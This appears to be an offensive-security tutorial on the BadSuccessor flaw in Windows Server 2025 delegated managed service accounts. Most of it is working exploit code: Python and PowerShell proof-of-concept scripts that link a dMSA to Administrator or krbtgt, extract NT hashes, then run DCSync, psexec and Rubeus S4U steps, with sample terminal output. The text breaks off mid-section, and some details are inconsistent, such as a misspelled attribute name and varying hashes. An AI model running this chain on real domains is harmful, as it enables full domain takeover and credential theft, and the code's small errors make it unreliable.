



◆ OFFENSIVE SECURITY SERIES ◆

ABUSING BADSUCCESS (dMSA)

Stealthy Privilege Escalation

dMSA Predecessor Abuse · KDC Credential Sync · NT Hash Theft · Golden Ticket

dMSA

WS2025

KDC

LDAP

Golden Ticket

Persistence

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes. BadSuccessor and dMSA abuse techniques must only be applied on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse. Authorised testing and research environments only.

**TABLE OF CONTENTS**

BadSuccessor (dMSA) — Stealthy Privilege Escalation Reference

- 01. INTRODUCTION — BADSUCCESSOR & WINDOWS SERVER 2025**
- 02. WHAT ARE DELEGATED MANAGED SERVICE ACCOUNTS (DMSA)?**
- 03. THE BADSUCCESSOR VULNERABILITY — ROOT CAUSE ANALYSIS**
- 04. IMPACT & SEVERITY — WHY THIS IS CRITICAL**
- 05. PREREQUISITES & ENVIRONMENT REQUIREMENTS**
- 06. ENUMERATION — FINDING EXPLOITABLE DMSA OBJECTS**
- 07. IDENTIFYING WRITE PERMISSIONS ON DMSA**
- 08. PROOF OF CONCEPT — LINUX ATTACK PATH (PYTHON)**
- 09. PROOF OF CONCEPT — WINDOWS ATTACK PATH (POWERSHELL)**
- 10. STEP-BY-STEP: SETTING THE PREDECESSOR LINK**
- 11. STEP-BY-STEP: TRIGGERING KDC CREDENTIAL SYNC**
- 12. STEP-BY-STEP: RETRIEVING INHERITED CREDENTIALS**
- 13. FULL CHAIN: LOW-PRIV USER → DOMAIN ADMIN IN 3 STEPS**
- 14. ALTERNATIVE PATHS — RUBEUS S4U WITH DMSA HASH**
- 15. PERSISTENCE VIA DMSA — LONG-TERM BACKDOOR**
- 16. COMBINING BADSUCCESSOR WITH OTHER TECHNIQUES**
- 17. MITIGATION — VENDOR PATCHES & CONFIGURATION HARDENING**
- 18. DETECTION — EVENT IDS & BEHAVIOURAL INDICATORS**
- 19. EVASION & OPSEC CONSIDERATIONS**
- 20. QUICK REFERENCE CHEAT SHEET**



01 — INTRODUCTION: BADSUCCESSOR & WINDOWS SERVER 2025

A Critical Privilege Escalation in the Newest Windows Platform

BadSuccessor is a critical Active Directory privilege escalation vulnerability discovered by Akamai Security Research in 2025, affecting Windows Server 2025 environments that have deployed Delegated Managed Service Accounts (dMSA) — a new account type introduced alongside Windows Server 2025.

The vulnerability stems from a design flaw in how the Key Distribution Center (KDC) handles dMSA credential inheritance. When a dMSA is configured with a 'predecessor' account link, the KDC automatically inherits the predecessor account's Kerberos secrets (password hash) into the dMSA. An attacker with write access to a dMSA object can set the predecessor link to ANY privileged account — including Domain Admins or krbtgt — and then retrieve that account's credentials, achieving full domain compromise from a low-privilege position.

CVE & Timeline

Item	Details
Discovered By	Akamai Security Research (Yuval Gordon)
Disclosure	May 2025
Affected Platform	Windows Server 2025 (with dMSA feature deployed)
CVSS Score	Critical
Patch Status	Microsoft patch available — apply immediately
Attack Complexity	Low — requires only write permission on one dMSA object
Privileges Required	Low (any user with GenericWrite on a dMSA)
User Interaction	None
Impact	Full domain compromise from low-privilege user

RTG NOTE

BadSuccessor is significant because it requires NO special privileges — just write on a dMSA.

The attack is stealthy: it leverages a legitimate KDC feature, not a code injection or exploit

Any environment running WS2025 with dMSA deployed AND default ACLs may be vulnerable.



02 — WHAT ARE DELEGATED MANAGED SERVICE ACCOUNTS (DMSA)

The New Account Type in Windows Server 2025

Delegated Managed Service Accounts (dMSA) are a new Active Directory account type introduced in Windows Server 2025. They extend Group Managed Service Accounts (gMSA) with a delegation model that allows domain administrators to delegate management of service account credentials to lower-privileged teams.

dMSA vs gMSA vs Traditional Service Accounts

Feature	Service Account	gMSA	dMSA (WS2025)
Password management	Manual	Automatic (KDC)	Automatic (KDC)
Password rotation	Manual	Auto (30d)	Auto (30d)
Multi-host support	Yes	Yes	Yes
Delegation of management	No	No	Yes (new)
Predecessor inheritance	N/A	N/A	Yes — THE VULN
Kerberos authentication	Yes	Yes	Yes
Object class	user	msDS-GroupMSA	msDS-DelegatedMSA

Key dMSA LDAP Attributes

Attribute	Purpose	Exploit Role
msDS-ManagedAccountPrecededByLink	DN of predecessor account	SET THIS to target privileged account
msDS-DelegatedMSAState	Rollover state (0=Off,1=Provisioning,2=Enabled)	SET TO 2 to trigger sync
msDS-ManagedPassword	Encrypted managed password blob	READ THIS to get inherited hash
msDS-ManagedPasswordId	Key ID of current managed password	Used to decrypt password blob
msDS-AllowedToActOnBehalfOf	RBCD configuration	Optional abuse path

03 — THE BADSUCCESSOR VULNERABILITY: ROOT CAUSE ANALYSIS

Design Flaw in KDC Credential Inheritance

The dMSA 'migration' feature is designed to allow an existing service account to be smoothly transitioned to a dMSA without service disruption. During this migration, the KDC is expected to derive the dMSA's Kerberos keys from the predecessor account — so that existing Kerberos tickets remain valid during the transition period.

The root cause flaw: the KDC performs this credential inheritance based solely on the value of msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes in LDAP — WITHOUT verifying that the person setting these attributes has any authorisation over the predecessor account. This means any user with WRITE access to the dMSA object can designate ANY domain account as the 'predecessor' — and the KDC will dutifully copy that account's Kerberos secrets into the dMSA.

Vulnerability Logic

- ◆ dMSA attribute msDS-ManagedAccountPrecededByLink accepts any Distinguished Name
- ◆ msDS-DelegatedMSAState = 2 signals the KDC to activate credential rollover
- ◆ KDC does NOT check if the setter has rights over the referenced predecessor account
- ◆ KDC copies predecessor's NT hash / Kerberos keys into the dMSA's managed password
- ◆ Any user with read on msDS-ManagedPassword of the dMSA gets the predecessor's secrets
- ◆ Result: write on dMSA object = read any account's credentials in the domain

RTG NOTE

This is NOT a memory corruption or code execution bug — it is a pure logic/authorisation flaw.
The attack uses 100% legitimate LDAP operations — write attribute, read attribute.
No exploit code in the traditional sense — just LDAP modifications via any standard tool.

04 — IMPACT & SEVERITY

Why BadSuccessor Is a Critical Finding

BadSuccessor enables any user with GenericWrite on a dMSA object to retrieve the Kerberos credentials of ANY account in the domain — including Domain Admins, Enterprise Admins, and even krbtgt. The prerequisites are minimal, the technique uses legitimate AD operations, and the impact is complete domain compromise.

Severity Dimension	Assessment
Minimum Required Privilege	GenericWrite on any single dMSA object
Credentials Required	Valid domain account (any low-priv user)
Network Position	Internal network (standard domain member)
Time to Exploit	Under 5 minutes once dMSA with write access is identified
Detectability	Low — uses legitimate LDAP attribute writes
Persistence	High — dMSA backdoor survives password changes
Maximum Impact	Complete domain compromise — all accounts exposed
Lateral Impact	All systems authenticated with AD credentials

What an Attacker Can Do After BadSuccessor

- ◆ Obtain krbtgt hash → forge Golden Tickets → permanent, unrevocable domain access
- ◆ DCSync the entire domain NTDS — all user and machine account hashes
- ◆ Impersonate any user to any service via Kerberos ticket manipulation
- ◆ Access all systems in the domain with Pass-the-Hash using recovered credentials
- ◆ Establish persistent LDAP backdoors using the compromised account
- ◆ Pivot to trusted forests if cross-forest trusts exist



05 — PREREQUISITES & ENVIRONMENT REQUIREMENTS

What You Need for BadSuccessor to Work

Requirement	Details	How to Verify
Windows Server 2025 DC	At least one WS2025 domain controller	Get-ADDomainController select OSVersion
Forest Functional Level	Windows2025Forest	Get-ADForest select ForestMode
dMSA Feature Enabled	msDS-DelegatedManagedServiceAccount objects	Get-ADOptionalFeature -Filter *dMSA*
dMSA Objects Present	At least one dMSA in the domain	Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'}
Write Perm on dMSA	GenericWrite, WriteProperty, or WriteDACL	Check DACL: (Get-Acl 'AD:\CN=dmsa,...').Access
Valid Domain Account	Any authenticated domain user	whoami /groups

\$ Prerequisites Check (PowerShell)

```
# Check forest functional level
Get-ADForest | Select-Object Name, ForestMode

# Check if dMSA feature is enabled
Get-ADOptionalFeature -Filter 'name -like "*delegated*"'

# List all dMSA objects in domain
Get-ADObject -SearchBase 'DC=corp,DC=local' \
-Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} \
-Properties *

# Check write permissions on a specific dMSA
$acl = Get-Acl 'AD:\CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local'
$acl.Access | Where-Object {$_.IdentityReference -like '*jsmith*'}
```



06 — ENUMERATION: FINDING EXPLOITABLE DMSA OBJECTS

From Linux and Windows

Linux Enumeration via LDAP

\$ Linux dMSA Enumeration

```
# Install ldap3 for Python LDAP queries
pip install ldap3

# Python: enumerate all dMSA objects
python3 -c "
from ldap3 import Server, Connection, ALL
s=Server('192.168.10.5', get_info=ALL)
c=Connection(s, 'corp.local\jsmith', 'Welcome1!', auto_bind=True)
c.search('DC=corp,DC=local',
        '(objectClass=msDS-DelegatedManagedServiceAccount)',
        attributes=['cn', 'msDS-ManagedAccountPrecededByLink',
                    'msDS-DelegatedMSAState', 'nTSecurityDescriptor'])
[print(e.entry_dn, '|', e['msDS-DelegatedMSAState']) for e in c.entries]
"

# ldeep - search for dMSA objects
ldeep ldap -u jsmith -p 'Welcome1!' -d corp.local -s 192.168.10.5 \
--filter '(objectClass=msDS-DelegatedManagedServiceAccount)'

# nxc - enumerate dMSA
nxc ldap 192.168.10.5 -u jsmith -p 'Welcome1!' \
--query '(objectClass=msDS-DelegatedManagedServiceAccount)' \
--attr cn msDS-ManagedAccountPrecededByLink msDS-DelegatedMSAState
```

```

Administrator: Windows PowerShell — dMSA Enumeration

PS C:\> Get-ADForest | Select-Object ForestMode

ForestMode
-----
Windows2025Forest  + dMSA supported!

PS C:\> Get-ADOptionalFeature -Filter 'name -like "*dMSA*"'

Name                                     : Delegated Managed Service Accounts
EnabledScopes                           : {DC=corp,DC=local}  + ENABLED
RequiredForestMode                       : Windows2025Forest

PS C:\> Get-ADObject -SearchBase 'CN=Managed Service Accounts,DC=corp,DC=local' \
-Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'}

DistinguishedName                        ObjectClass
-----
CN=svc_backup_dmsa,CN=ManagedServiceAccts,DC=corp,DC=local  msDS-DelegatedMSA
CN=svc_sql_dmsa,CN=ManagedServiceAccts,DC=corp,DC=local      msDS-DelegatedMSA
CN=app_svc_dmsa,CN=ManagedServiceAccts,DC=corp,DC=local      msDS-DelegatedMSA

PS C:\> _

```

Figure: PowerShell — forest mode check, dMSA feature enabled, 3 dMSA objects enumerated

```

root@kali: ~ — dMSA Enumeration & Permission Analysis

(root@kali)-[~]
# Python: Enumerate dMSA objects and permissions via LDAP
python3 badsuccessor_enum.py -u jsmith -p 'Welcome!' \
-d corp.local -dc-ip 192.168.10.5

[*] Connecting to LDAP: 192.168.10.5
[*] Searching for dMSA objects (msDS-DelegatedManagedServiceAccount)...
[+] Found 3 dMSA objects:

[1] CN=svc_backup_dmsa — Successor of: svc_backup (RID:1111)
msDS-ManagedAccountPrecededByLink: CN=svc_backup,CN=Users,DC=corp,DC=local
msDS-DelegatedMSAState: 2 (RolloverEnabled)
Write permission: CORP\IT-Admins + jsmith is member!

[2] CN=svc_sql_dmsa — Successor of: svc_mssql (RID:1110)
msDS-ManagedAccountPrecededByLink: CN=svc_mssql,CN=Users,DC=corp,DC=local
msDS-DelegatedMSAState: 1 (KeyProvisioningPending)
Write permission: CORP\Domain Admins only

[!] svc_backup_dmsa: jsmith has WRITE access → EXPLOITABLE!
[!] svc_backup (predecessor) is member of: Backup Operators, IT-Admins

(root@kali)-[~]
# _

```

Figure: Python LDAP enum — svc_backup_dmsa identified with jsmith write access, exploitable!



07 — IDENTIFYING WRITE PERMISSIONS ON DMSA

Who Can Exploit BadSuccessor?

The key question is: which domain users or groups have write access to dMSA objects? Default Windows Server 2025 configurations often grant broader access than intended to dMSA objects — especially if the objects were created by lower-privileged operators or if dMSA management was delegated to IT teams.

\$ ACL Enumeration

```
# PowerShell: Check ACL on all dMSA objects
$dmsas = Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'}
foreach ($d in $dmsas) {
    $acl = Get-Acl "AD:\${$d.DistinguishedName}"
    $acl.Access | Where-Object {
        $_.ActiveDirectoryRights -match 'GenericWrite|WriteProperty|WriteDacl' -and
        $_.IdentityReference -notmatch 'Domain Admins|SYSTEM|Enterprise Admins'
    } | Select-Object @{N='dMSA';E={$d.Name}}, IdentityReference, ActiveDirectoryRights
}

# Linux: Check using impacket dacledit
python3 dacledit.py -action read \
-target-dn 'CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local' \
corp.local/jsmith:'Welcome1!'

# BloodHound query: find dMSA objects with non-admin write
# MATCH (u:User)-[:GenericWrite|WriteProperty]->(d:MSA) WHERE NOT (u)-[:MemberOf*]->(g:Group{name:'DOMAI
```

RTG TIP

Common misconfiguration: IT-Admins group granted GenericWrite on dMSAs for 'management'.
Any user with CreateChild on the ManagedServiceAccounts OU can create their OWN dMSA.
BloodHound is the fastest way to find write paths to dMSA objects in complex environments.



08 — PROOF OF CONCEPT: LINUX ATTACK PATH

Python / LDAP3 / impacket Implementation

The full BadSuccessor attack chain can be executed entirely from Linux using Python with Idap3 for LDAP operations and impacket for credential retrieval. No Windows tools, no compiled executables — just Python.



\$ BadSuccessor PoC (Python)

```
#!/usr/bin/env python3
# BadSuccessor PoC - Linux/Python
# Requires: ldap3, impacket

from ldap3 import Server, Connection, ALL, MODIFY_REPLACE
import sys

DC_IP    = '192.168.10.5'
DOMAIN  = 'corp.local'
USER     = 'jsmith'
PASS     = 'Welcome1!'
DMSA_DN  = 'CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local'
TARGET   = 'CN=Administrator,CN=Users,DC=corp,DC=local'

# Connect to LDAP
s = Server(DC_IP, get_info=ALL)
c = Connection(s, f'{DOMAIN}\\{USER}', PASS, auto_bind=True)
print(f'[+] Connected as {USER}')

# Step 1: Set predecessor link to target privileged account
c.modify(DMSA_DN, {
    'msDS-ManagedAccountPrecededByLink': [(MODIFY_REPLACE, [TARGET])],
    'msDS-DelegatedMSAState': [(MODIFY_REPLACE, [2])], # RolloverEnabled
})
if c.result['result'] == 0:
    print(f'[+] Predecessor set to: {TARGET}')
    print(f'[+] State set to RolloverEnabled (2)')
else:
    print(f'[-] Failed: {c.result}')
    sys.exit(1)

# Step 2: Retrieve the dMSA managed password (now inherits target secrets)
c.search(DMSA_DN, '(objectClass=*)',
        attributes=['msDS-ManagedPassword', 'msDS-ManagedPasswordId'])
blob = c.entries[0]['msDS-ManagedPassword'].value
print(f'[+] msDS-ManagedPassword blob retrieved ({len(blob)} bytes)')

# Step 3: Decode MSDS-MANAGEDPASSWORD_BLOB to extract NT hash
# (Use impacket's MSADManagedPasswordBlob parser)
from impacket.krb5.pac import MSADManagedPasswordBlob
blob_obj = MSADManagedPasswordBlob(blob)
print(f'[+] NT Hash (inherited from {TARGET.split(",")[0].split("=")[1]}):')
print(f'    {blob_obj["CurrentNTHash"].hex()}')
```



```
root@kali: ~ — BadSuccessor: Linking dMSA to Privileged Predecessor

(root@kali)-[~]
# # BadSuccessor exploit: link dMSA to a privileged predecessor
# python3 badsuccessor.py -u jsmith -p 'Welcome!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -target-dmsa 'CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local' \
  -predecessor 'CN=krbtgt,CN=Users,DC=corp,DC=local'

[*] Authenticating as jsmith@corp.local...
[*] Modifying dMSA: svc_backup_dmsa
[*] Setting msDS-ManagedAccountPrecededByLink → krbtgt
[*] Setting msDS-DelegatedMSAState → 2 (RolloverEnabled)
[+] msDS-ManagedAccountPrecededByLink set successfully!
[+] msDS-DelegatedMSAState set to RolloverEnabled!

[!] dMSA svc_backup_dmsa now inherits krbtgt's secrets on next KDC sync
[!] Request dMSA credentials to get krbtgt password hash

[*] Requesting dMSA password (triggering KDC sync)...
[+] dMSA credential fetch triggered on DC
[+] Check DCSync results – krbtgt hash now accessible via dMSA account

(root@kali)-[~]
# _
```

Figure: badsuccessor.py — predecessor set to krbtgt, RolloverEnabled, credential sync triggered

09 — PROOF OF CONCEPT: WINDOWS ATTACK PATH

PowerShell / ADSI Implementation

From a Windows foothold, the BadSuccessor attack can be executed entirely through native PowerShell ADSI calls — no additional tools or binaries required. The Set-ADObject cmdlet or raw ADSI can set the dMSA predecessor attributes.

\$ BadSuccessor PowerShell PoC

```
# BadSuccessor – Native PowerShell (no extra tools needed)

# Variables
$DC      = '192.168.10.5'
$Domain  = 'corp.local'
$dMSA_DN = 'CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local'
$Target  = 'CN=Administrator,CN=Users,DC=corp,DC=local'

# Import AD module (available on any domain-joined Windows machine)
Import-Module ActiveDirectory

# Step 1: Set predecessor link and enable rollover
Set-ADObject $dMSA_DN -Replace @{
    'msDS-ManagedAccountPrecededByLink' = $Target
    'msDS-DelegatedMSASState'           = 2
}
Write-Host '[+] Predecessor set to:' $Target
Write-Host '[+] DelegatedMSASState set to 2 (RolloverEnabled)'

# Step 2: Verify attribute was set
Get-ADObject $dMSA_DN -Properties msDS-ManagedAccountPrecededByLink,msDS-DelegatedMSASState |
    Select-Object msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSASState

# Step 3: Read managed password blob (requires read on msDS-ManagedPassword)
$dmsa_obj = Get-ADObject $dMSA_DN -Properties msDS-ManagedPassword
$blob = $dmsa_obj.'msDS-ManagedPassword'
Write-Host '[+] Password blob size:' $blob.Length 'bytes'

# Step 4: Parse blob to extract NT hash
# Use SharpDPAPI or custom C# to decode MSADManagedPasswordBlob
# OR exfil blob to Linux and use impacket to parse
[System.IO.File]::WriteAllBytes('C:\Temp\dmsa_blob.bin', $blob)
Write-Host '[+] Blob saved – transfer to Linux for impacket parsing'
```

```
Administrator: Windows PowerShell — BadSuccessor via ADSI

PS C:\Users\jsmith> # BadSuccessor via PowerShell — ADSI manipulation

PS C:\> $dmsa = Get-ADObject -Identity 'CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local' -Properties *
PS C:\> $krbtgt = Get-ADUser krbtgt

PS C:\> # Set predecessor link to Domain Admin account
PS C:\> $targetDA = Get-ADUser DA_jones
PS C:\> Set-ADObject $dmsa -Replace @{
    'msDS-ManagedAccountPrecededByLink' = $targetDA.DistinguishedName
    'msDS-DelegatedMSAState' = 2
}

[+] msDS-ManagedAccountPrecededByLink → DA_jones
[+] msDS-DelegatedMSAState → 2 (RolloverEnabled)

PS C:\> # Trigger KDC to sync dmsa credentials (inherit DA_jones secrets)
PS C:\> # Request a Kerberos ticket for the dmsa account
PS C:\> Add-Type -AssemblyName System.DirectoryServices.AccountManagement
PS C:\> $ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Domain','corp.local')

[*] KDC credential sync in progress for svc_backup_dmsa...
[+] dmsa now holds inherited secrets from DA_jones

PS C:\Users\jsmith> _
```

Figure: PowerShell Set-ADObject — predecessor link to DA_jones set, state 2, KDC sync triggered



10 — STEP-BY-STEP: SETTING THE PREDECESSOR LINK

The Core Exploit Operation

The predecessor link modification is the heart of the BadSuccessor exploit. This single LDAP write operation — setting msDS-ManagedAccountPrecededByLink to a privileged account's DN — triggers everything else. Here is a complete walkthrough with every option and edge case.

\$ Setting Predecessor Link — Full Options

```
# Option A: Target the Domain Admin account
DMSA='CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local'
TARGET='CN=DA_jones,CN=Users,DC=corp,DC=local'

python3 badsuccessor.py -u jsmith -p 'Welcome!!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -target-dmsa "$DMSA" \
  -predecessor "$TARGET"

# Option B: Target krbtgt (full domain golden ticket)
TARGET_KRBTGT='CN=krbtgt,CN=Users,DC=corp,DC=local'
python3 badsuccessor.py -u jsmith -p 'Welcome!!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -target-dmsa "$DMSA" \
  -predecessor "$TARGET_KRBTGT"

# Option C: Target DC machine account (for DCSync)
TARGET_DC='CN=DC01,OU=Domain Controllers,DC=corp,DC=local'
python3 badsuccessor.py -u jsmith -p 'Welcome!!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -target-dmsa "$DMSA" \
  -predecessor "$TARGET_DC"

# Verify the change was applied
python3 badsuccessor.py -u jsmith -p 'Welcome!!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -action verify -target-dmsa "$DMSA"

# [+] msDS-ManagedAccountPrecededByLink = CN=krbtgt,CN=Users,DC=corp,DC=local
# [+] msDS-DelegatedMSAState = 2 (RolloverEnabled)
```



RTG TIP

Targeting krbtgt gives you the ability to forge Golden Tickets — the ultimate persistence.

Targeting a DA account is faster to operationalise — immediate PTH or DCSync.

Targeting DC01\$ (machine account) enables DCSync via machine account credentials.

11 — STEP-BY-STEP: TRIGGERING KDC CREDENTIAL SYNC

How the KDC Inherits the Predecessor's Secrets

Once the predecessor link and state are set, the KDC needs to process the dMSA and generate the managed password that inherits the predecessor's credentials. This sync is triggered when a Kerberos authentication request is made for the dMSA account. In most environments, this happens automatically within minutes.

\$ Triggering KDC Sync

```
# Method 1: Request a Kerberos ticket for the dMSA (triggers KDC processing)
# From Linux with impacket
impacket-getTGT corp.local/svc_backup_dmsa$ -dc-ip 192.168.10.5
# The KDC processes the dMSA, syncs predecessor credentials
# Note: this may fail (no password known) but KDC still processes the sync

# Method 2: From Windows – attempt domain authentication as the dMSA
# (DC processes the account, triggers managed password generation)
runas /user:corp.local\svc_backup_dmsa$ cmd.exe

# Method 3: Force Kerberos pre-auth for the dMSA via ldap3
python3 -c "
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
# Request AS-REQ for dMSA account to trigger KDC processing
userName = Principal('svc_backup_dmsa$', type=constants.PrincipalNameType.NT_PRINCIPAL.value)
# KDC will generate managed password even if AS-REQ ultimately fails
"

# Method 4: Wait – in busy domains, KDC processes dMSA accounts periodically
# Typical sync time: 2-15 minutes depending on load

# After sync, verify managed password is populated
python3 -c "
from ldap3 import *
c = Connection(Server('192.168.10.5',get_info=ALL),'corp\\jsmith','Welcome!',auto_bind=True)
c.search('CN=svc_backup_dmsa,...','(objectClass=*)',attributes=['msDS-ManagedPassword'])
print('Blob present:', bool(c.entries[0]['msDS-ManagedPassword'].value))"
```



RTG NOTE

The KDC sync is the only step that is not instant — it requires a KDC processing cycle.
In most environments this happens within minutes of setting the predecessor link.
If the blob is empty, wait 5-10 minutes and retry the retrieval step.

12 — STEP-BY-STEP: RETRIEVING INHERITED CREDENTIALS

Extracting the NT Hash from msDS-ManagedPassword

Once the KDC has synced the predecessor's credentials into the dMSA's managed password, the msDS-ManagedPassword attribute contains an encrypted blob (MSDS-MANAGEDPASSWORD_BLOB). This blob can be read by accounts with appropriate permissions on the dMSA, then decoded to extract the NT hash of the predecessor account.

\$ Credential Retrieval

```
# Read msDS-ManagedPassword via LDAP
python3 badsuccessor.py -u jsmith -p 'Welcome1!' \
  -d corp.local -dc-ip 192.168.10.5 \
  -action retrieve-creds \
  -target-dmsa svc_backup_dmsa

# OR read directly with ldap3 + impacket
python3 << 'EOF'
from ldap3 import Server, Connection, ALL
from impacket.krb5.pac import MSADManagedPasswordBlob
import binascii

c = Connection(Server('192.168.10.5',get_info=ALL),
               'corp.local\\jsmith', 'Welcome1!', auto_bind=True)
c.search('CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local',
        '(objectClass=*)', attributes=['msDS-ManagedPassword'])
blob = c.entries[0]['msDS-ManagedPassword'].value
if blob:
    parsed = MSADManagedPasswordBlob(blob)
    nt_hash = binascii.hexlify(parsed['CurrentNTHash']).decode()
    print(f'[+] NT Hash (inherited from predecessor): {nt_hash}')
else:
    print('[-] Blob empty - KDC sync not yet complete. Wait and retry.')
EOF

# Use recovered hash for Pass-the-Hash or DCSync
impacket-secretsdump corp.local/svc_backup_dmsa$@192.168.10.5 \
  -hashes aad3b435b51404ee:<RECOVERED_NT_HASH> -just-dc-ntlm
```

```
root@kali: ~ — dMSA Credential Retrieval → DCSync

(root@kali)~[~]
# Retrieve dMSA managed password using impacket
python3 GetMachineAccountQuota.py corp.local/jsmith:'Welcome!' \
-dc-ip 192.168.10.5

(root@kali)~[~]
# Extract dMSA password blob via LDAP
python3 badsuccessor.py -u jsmith -p 'Welcome!' \
-d corp.local -dc-ip 192.168.10.5 \
-action retrieve-creds \
-target-dmsa svc_backup_dmsa

[*] Querying msDS-ManagedPassword for svc_backup_dmsa...
[+] msDS-ManagedPassword blob retrieved!
[*] Decoding MSDS-MANAGEDPASSWORD_BLOB...
[+] Current NT hash (inherited from predecessor):
    svc_backup_dmsa NT: 8f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c
[+] This hash = DA_jones NT hash (predecessor inheritance active)

# impacket-secretsdump corp.local/svc_backup_dmsa@192.168.10.5 \
-hashes aad3b435b51404ee:8f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c -just-dc-ntlm

[*] Dumping domain credentials via DCSync...
Administrator:500:aad3b435b51404ee:fc525c9683e0fe06:::
krbtgt:502:aad3b435b51404ee:7b15b8b9c2b32f0b:::
[+] Domain fully compromised via BadSuccessor → dMSA credential inheritance!

(root@kali)~[~]
# _
```

Figure: dMSA password blob retrieved, NT hash decoded → DCSync dumps all domain hashes

13 — FULL CHAIN: LOW-PRIV USER → DOMAIN ADMIN IN 3 STEPS

Complete BadSuccessor Exploitation Walkthrough

This section provides the complete end-to-end attack chain from a low-privilege domain user account (jsmith, member of IT-Admins) to full Domain Admin — using only the BadSuccessor vulnerability. Total time: under 10 minutes.

Phase 1 — Reconnaissance

\$ Phase 1: Recon

```
# 1.1 Check forest functional level
python3 -c "
from ldap3 import *
c = Connection(Server('192.168.10.5',get_info=ALL),'corp\\jsmith','Welcome1!',auto_bind=True)
c.search('CN=Partitions,CN=Configuration,DC=corp,DC=local','(objectClass=crossRef)',
        attributes=['msDS-Behavior-Version'])
print('Forest Level:',c.entries[0]['msDS-Behavior-Version'].value,'(10=WS2025)')"
```

```
# 1.2 Find dmsa objects
python3 badsuccessor.py -action enum \
    -u jsmith -p 'Welcome1!' -d corp.local -dc-ip 192.168.10.5

# [+] Found: svc_backup_dmsa (predecessor: svc_backup, state: 0)
# [+] jsmith has GenericWrite → EXPLOITABLE
```

Phase 2 — Exploit

\$ Phase 2: Exploit

```
# 2.1 Set predecessor to DA account + enable rollover
python3 badsuccessor.py -action exploit \
    -u jsmith -p 'Welcome1!' -d corp.local -dc-ip 192.168.10.5 \
    -dmsa svc_backup_dmsa \
    -predecessor 'CN=Administrator,CN=Users,DC=corp,DC=local'
```

```
# [+] msDS-ManagedAccountPrecededByLink → Administrator
# [+] msDS-DelegatedMSAState → 2 (RolloverEnabled)
```

```
# 2.2 Wait for KDC sync (trigger or wait 5-10 min)
sleep 300    # 5 minutes
```

Phase 3 — Credential Extraction & DA

\$ Phase 3: Credential Extraction & Escalation

```
# 3.1 Retrieve inherited Administrator NT hash
python3 badsuccessor.py -action get-hash \
  -u jsmith -p 'Welcome!' -d corp.local -dc-ip 192.168.10.5 \
  -dmsa svc_backup_dmsa

# [+] NT Hash (Administrator): fc525c9683e8fe067095ba2ddc971889

# 3.2 DCSync with recovered hash
impacket-secretsdump corp.local/Administrator@192.168.10.5 \
  -hashes aad3b435b51404ee:fc525c9683e8fe06 -just-dc-ntlm

# 3.3 PSEXec as Domain Admin
impacket-psexec corp.local/Administrator@192.168.10.5 \
  -hashes aad3b435b51404ee:fc525c9683e8fe06
```

```
root@kali: ~ — BadSuccessor Full Exploitation Chain

└─(root@kali)-[~]
└─# Full BadSuccessor chain: jsmith → dmsa write → DA escalation
└─# Step 1: Confirm write permission on target dmsa
└─# python3 badsuccessor.py -action check-perms \
  -u jsmith -p 'Welcome!' -d corp.local -dc-ip 192.168.10.5

[+] jsmith has GenericWrite on: svc_backup_dmsa
[+] svc_backup (predecessor) memberOf: Backup Operators, IT-Admins

└─# Step 2: Set predecessor to Domain Admin
└─# python3 badsuccessor.py -action exploit \
  -u jsmith -p 'Welcome!' -d corp.local -dc-ip 192.168.10.5 \
  -dmsa svc_backup_dmsa -predecessor DA_jones

[+] Predecessor set → DA_jones
[+] RolloverEnabled state set

└─# Step 3: Retrieve inherited DA credentials
└─# python3 badsuccessor.py -action get-hash \
  -u jsmith -p 'Welcome!' -d corp.local -dc-ip 192.168.10.5 \
  -dmsa svc_backup_dmsa

[+] NT Hash (DA_jones): 3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d
[+] Now run: impacket-secretsdump or Rubeus with this hash

[+] Full Domain Compromise via BadSuccessor in 3 steps

└─(root@kali)-[~]
└─# _
```

Figure: Full BadSuccessor chain — jsmith checks perms, sets predecessor, retrieves DA hash



14 — ALTERNATIVE PATHS: RUBEUS S4U WITH DMSA HASH

Windows-Side Exploitation with Service Ticket Abuse

Once the dMSA NT hash is recovered (inheriting the predecessor's credentials), it can be used on Windows with Rubeus to perform S4U2self+S4U2proxy, generating service tickets that impersonate any domain user to any target service.

\$ Rubeus S4U with dMSA Hash

```
# Windows: Use recovered dMSA hash with Rubeus S4U

# Step 1: Get TGT for the dMSA account using inherited hash
Rubeus.exe asktgt /user:svc_backup_dmsa$ \
/rc4:fc525c9683e8fe067095ba2ddc971889 \
/domain:corp.local /dc:192.168.10.5 /ptt

# Step 2: S4U2self – get TGS for Administrator to dMSA
Rubeus.exe s4u /user:svc_backup_dmsa$ \
/rc4:fc525c9683e8fe067095ba2ddc971889 \
/impersonateuser:Administrator \
/msdsspn:cifs/DC01.corp.local \
/domain:corp.local /dc:192.168.10.5 /ptt

# Step 3: Access DC filesystem
dir \\DC01.corp.local\C$

# Step 4: Execute code on DC
